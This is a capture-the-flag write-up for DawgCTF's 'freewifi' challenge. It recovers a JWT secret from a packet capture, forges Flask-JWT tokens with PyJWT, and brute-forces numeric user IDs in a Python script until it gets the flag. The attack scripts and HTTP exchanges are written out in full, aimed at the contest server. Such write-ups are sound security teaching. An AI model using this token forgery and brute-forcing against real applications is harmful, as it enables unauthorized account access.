> I saw someone's screen and it looked like they stayed logged in, somehow...http://freewifi.ctf.umbccd.io/
There is a PCAP available for download
There is an interesting path in it: `/jwtlogin`. Accessing it, causes a 401 (Unauthorized) error. But in the next request of the capture, the user posts a passcode to `/staff.html` and is getting a JWT secret as a response in a cookie:
    Set-Cookie: JWT 'secret'="dawgCTF?heckin#bamboozle"; Path=/
Checking the session token retrieved on the next request at https://jwt.io and using the secret `dawgCTF?heckin#bamboozle` (with or without double quotes around it) does not validate the signature. The session cookie just contains the CSRF token, though.
So we need to find out how to send the JWT to the `/jwtlogin` endpoint and what its content is supposed to be.
A first step is to build a more or less random token (containing just `user=admin`) and sending it as a cookie and as a bearer token:
```bash$ http https://freewifi.ctf.umbccd.io/jwtlogin "Cookie: session=eyJ1c2VyIjoiYWRtaW4iLCJhbGciOiJIUzI1NiJ9.e30.xN1MhQ-3wyIsOfiJi48GZTNuxWxSucU2HLDxYKlonGw"HTTP/1.1 401 UNAUTHORIZEDConnection: keep-aliveContent-Length: 110Content-Type: application/jsonDate: Sat, 11 Apr 2020 10:16:06 GMTServer: nginx/1.14.0 (Ubuntu)WWW-Authenticate: JWT realm="Login Required"
{    "description": "Request does not contain an access token",    "error": "Authorization Required",    "status_code": 401}
$ http https://freewifi.ctf.umbccd.io/jwtlogin "Authorization: Bearer eyJ1c2VyIjoiYWRtaW4iLCJhbGciOiJIUzI1NiJ9.e30.xN1MhQ-3wyIsOfiJi48GZTNuxWxSucU2HLDxYKlonGw"HTTP/1.1 401 UNAUTHORIZEDConnection: keep-aliveContent-Length: 96Content-Type: application/jsonDate: Sat, 11 Apr 2020 10:21:58 GMTServer: nginx/1.14.0 (Ubuntu)
{    "description": "Unsupported authorization type",    "error": "Invalid JWT header",    "status_code": 401}```
The latter looks more promising, so we need to use explicit authorization via the `Authorization` header for our request.
In order to build a proper JWT, it would be helpful to know something about how the applicationwas built. The requests are containing a server header telling us which webserver sent the responses: `werkzeug`. This indicates, that we are dealing with a Flask application. Other things (the `JWT Realm` in the response) support this assumption.
Documentation how Flask handles JWT can be found here: https://pythonhosted.org/Flask-JWT/_modules/flask_jwt.html#JWTWe should sign the token using the algorithm `HS256` (HMAC-SHA-256) and the payload must contain the values `exp`, `iat`, `ibf` (indicating the validity of the token) and `identity`. The library *PyJWT* is helpful for building the tokens:
```pythonfrom jwt import PyJWTimport datetimeimport requests
secrets = ['"dawgCTF?heckin#bamboozle"', 'dawgCTF?heckin#bamboozle']
jwt = PyJWT()for secret in secrets:    for user_id in ['[email protected]',0, 1, 100, 1000, 10000, 'admin', 'administrator', 'user']:        now = datetime.datetime.utcnow()        payload = {            'identity': user_id,            'exp': now + datetime.timedelta(hours=1),            'iat': now,            'nbf': now        }
        token = jwt.encode(            payload=payload,            key=secret,            algorithm='HS256'        ).decode('utf-8')        print(token)        url = 'https://freewifi.ctf.umbccd.io/jwtlogin'        headers = {'Authorization': 'Bearer {}'.format(token)}        r = requests.get(url, headers = headers)        print(r.status_code)        print(r.text)```
Unfortunately, we are still getting a `Invalid JWT Header` error.
Searching for it in the source code we find the line creating it here: https://github.com/mattupstate/flask-jwt/blob/c27084114e258863b82753fc574a362cd6c62fcd/flask_jwt/__init__.py#L104The error is caused, because the first part of the `Authorization` header is not the same as the `JWT_AUTH_HEADER_PREFIX` value in the application (which is `JWT`). So we need to change the value of `Bearer` to `JWT`
This changes the error message. If we use the JWT secret in quotes, we get 
    {"description":"Signature verification failed","error":"Invalid token","status_code":401}
So let's use the password without quotes. This gives a different error yet again:
    {"description":"User does not exist","error":"Invalid JWT","status_code":401} We have a valid JWT now, but still need to find a correct user identity. First I tried a couple of well known names without success:     ['[email protected]',0, 1, 100, 1000, 10000, 'admin', 'administrator', 'user', 'root', 'guest', 'TrueGrit', 'umbccd', 'dawgctf', 'DawgCTF', 'truegrit', 'true.grit', 'pleoxconfusa', 'freethepockets']
Checking the source code again, we can find that the `identity` value of the token is checked here: https://github.com/mattupstate/flask-jwt/blob/c27084114e258863b82753fc574a362cd6c62fcd/flask_jwt/__init__.py#L267From that we can conclude, that the identity value needs to be numeric.
From that point, we brute force the ID with the following script:
```pythonfrom jwt import PyJWTimport datetimeimport requestsimport jsonimport sysimport time
secrets = ['dawgCTF?heckin#bamboozle']
usernames = range(100000)if(len(sys.argv) >= 2):    filename = sys.argv[1]    with open(filename, "rb") as f:        usernames = [name.strip() for name in f.readlines()]
print("Tryin {} usernames ('{}' to '{}')".format(len(usernames), usernames[0], usernames[-1]))
url = 'https://freewifi.ctf.umbccd.io/jwtlogin'session = requests.session()
jwt = PyJWT()ts = time.time()for secret in secrets:    for user_id in usernames:        if(user_id is bytes):            try:                user_id = user_id.decode('utf-8')            except:                print("Bad user id {}".format(user_id))                next        if(time.time() - ts > 10):            print("Trying user '{}'".format(user_id))            ts = time.time()        now = datetime.datetime.utcnow()        payload = {            'identity': user_id,            'exp': now + datetime.timedelta(hours=10),            'iat': now,            'nbf': now - datetime.timedelta(hours=10),        }
        token = jwt.encode(            payload=payload,            key=secret,            algorithm='HS256'        ).decode('utf-8')        headers = {'Authorization': 'JWT {}'.format(token)}        r = session.get(url, headers = headers)        try:            err_desc = json.loads(r.text)["description"]        except:            err_desc = ""        if(r.status_code != 401 or err_desc != "User does not exist"):            print(user_id)            print(token)            print(r.status_code)            print(r.text)```
Finally, for the userid 31337 and using the JWT
    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6MzEzMzcsImV4cCI6MTU4NjY4MTAwMSwiaWF0IjoxNTg2NjQ1MDAxLCJuYmYiOjE1ODY2MDkwMDF9.EXlLxvJynQeeAW8ngIrIfdaGY_vCBC8LilmVI3ZttyQ we get the flag as an response.
Flag: **DawgCTF{y0u_d0wn_w!t#_JWT?}**
Update: The user ID could have been found without brute forcing. If you open `/staff.html` in the browser and try to login with `[email protected]` as the username ans any password, the error page will contain the cookie
    JWT 'identity'=31337; Path=/